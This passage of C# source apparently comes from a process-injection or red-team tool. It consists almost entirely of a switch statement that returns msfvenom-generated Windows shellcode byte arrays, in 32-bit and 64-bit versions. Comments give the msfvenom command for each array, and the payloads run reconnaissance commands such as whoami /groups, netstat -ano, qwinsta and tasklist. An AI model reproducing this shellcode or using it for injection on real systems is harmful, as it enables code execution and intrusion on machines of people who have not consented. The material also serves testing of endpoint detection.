                        0x00,0x53,0xff,0xd5,0x63,0x6d,0x64,0x20,0x2f,0x6b,0x20,0x22,0x77,0x68,0x6f,
                        0x61,0x6d,0x69,0x20,0x2f,0x67,0x72,0x6f,0x75,0x70,0x73,0x22,0x00 };
                    break;
                case 5:
                    //msfvenom -p windows/exec CMD='cmd /k "netstat -ano"' EXITFUNC=thread -f csharp
                    injection = new byte[206] {
                        0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
                        0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
                        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
                        0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
                        0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
                        0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
                        0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                        0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
                        0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
                        0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
                        0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
                        0x00,0x53,0xff,0xd5,0x63,0x6d,0x64,0x20,0x2f,0x6b,0x20,0x22,0x6e,0x65,0x74,
                        0x73,0x74,0x61,0x74,0x20,0x2d,0x61,0x6e,0x6f,0x22,0x00 };
                    break;
                case 6:
                    //msfvenom -p windows/exec CMD='cmd /k "qwinsta"' EXITFUNC=thread -f csharp
                    injection = new byte[201] {
                        0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
                        0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
                        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
                        0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
                        0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
                        0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
                        0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                        0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
                        0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
                        0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
                        0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
                        0x00,0x53,0xff,0xd5,0x63,0x6d,0x64,0x20,0x2f,0x6b,0x20,0x22,0x71,0x77,0x69,
                        0x6e,0x73,0x74,0x61,0x22,0x00 };
                    break;
                case 7:
                    //msfvenom -p windows/exec CMD='cmd /k "tasklist"' EXITFUNC=thread -f csharp
                    injection = new byte[202] {
                        0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
                        0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
                        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
                        0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
                        0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
                        0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
                        0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                        0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
                        0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
                        0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
                        0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
                        0x00,0x53,0xff,0xd5,0x63,0x6d,0x64,0x20,0x2f,0x6b,0x20,0x22,0x74,0x61,0x73,
                        0x6b,0x6c,0x69,0x73,0x74,0x22,0x00 };
                    break;
                case 8: //whoami /groups
                    //msfvenom -p windows/x64/exec CMD='cmd /c "start cmd /k whoami /groups"' EXITFUNC=thread -f csharp
                    injection = new byte[304] {
                        0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
                        0x20,0x2f,0x63,0x20,0x22,0x73,0x74,0x61,0x72,0x74,0x20,0x63,0x6d,0x64,0x20,
                        0x2f,0x6b,0x20,0x77,0x68,0x6f,0x61,0x6d,0x69,0x20,0x2f,0x67,0x72,0x6f,0x75,
                        0x70,0x73,0x22,0x00 };
                    break;
                case 9: //netstat -ano
                    //msfvenom -p windows/x64/exec CMD='cmd /c "start cmd /k netstat -ano"' EXITFUNC=thread -f csharp
                    injection = new byte[302] {
                        0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
                        0x20,0x2f,0x63,0x20,0x22,0x73,0x74,0x61,0x72,0x74,0x20,0x63,0x6d,0x64,0x20,
                        0x2f,0x6b,0x20,0x6e,0x65,0x74,0x73,0x74,0x61,0x74,0x20,0x2d,0x61,0x6e,0x6f,
                        0x22,0x00 };
                    break;
                case 10: //qwinsta
                    //msfvenom -p windows/x64/exec CMD='cmd /c "start cmd /k qwinsta"' EXITFUNC=thread -f csharp
                    injection = new byte[297] {
                        0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
                        0x20,0x2f,0x63,0x20,0x22,0x73,0x74,0x61,0x72,0x74,0x20,0x63,0x6d,0x64,0x20,
                        0x2f,0x6b,0x20,0x71,0x77,0x69,0x6e,0x73,0x74,0x61,0x22,0x00 };
                    break;
                case 11: //tasklist
                    //msfvenom -p windows/x64/exec CMD='cmd /c "start cmd /k tasklist"' EXITFUNC=thread -f csharp
                    injection = new byte[298] {
                        0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                        0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                        0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                        0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                        0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                        0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                        0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                        0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                        0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                        0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                        0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                        0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                        0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                        0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                        0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
                        0x20,0x2f,0x63,0x20,0x22,0x73,0x74,0x61,0x72,0x74,0x20,0x63,0x6d,0x64,0x20,
                        0x2f,0x6b,0x20,0x74,0x61,0x73,0x6b,0x6c,0x69,0x73,0x74,0x22,0x00 };
                    break;
            }
            return injection;
        }
    }
}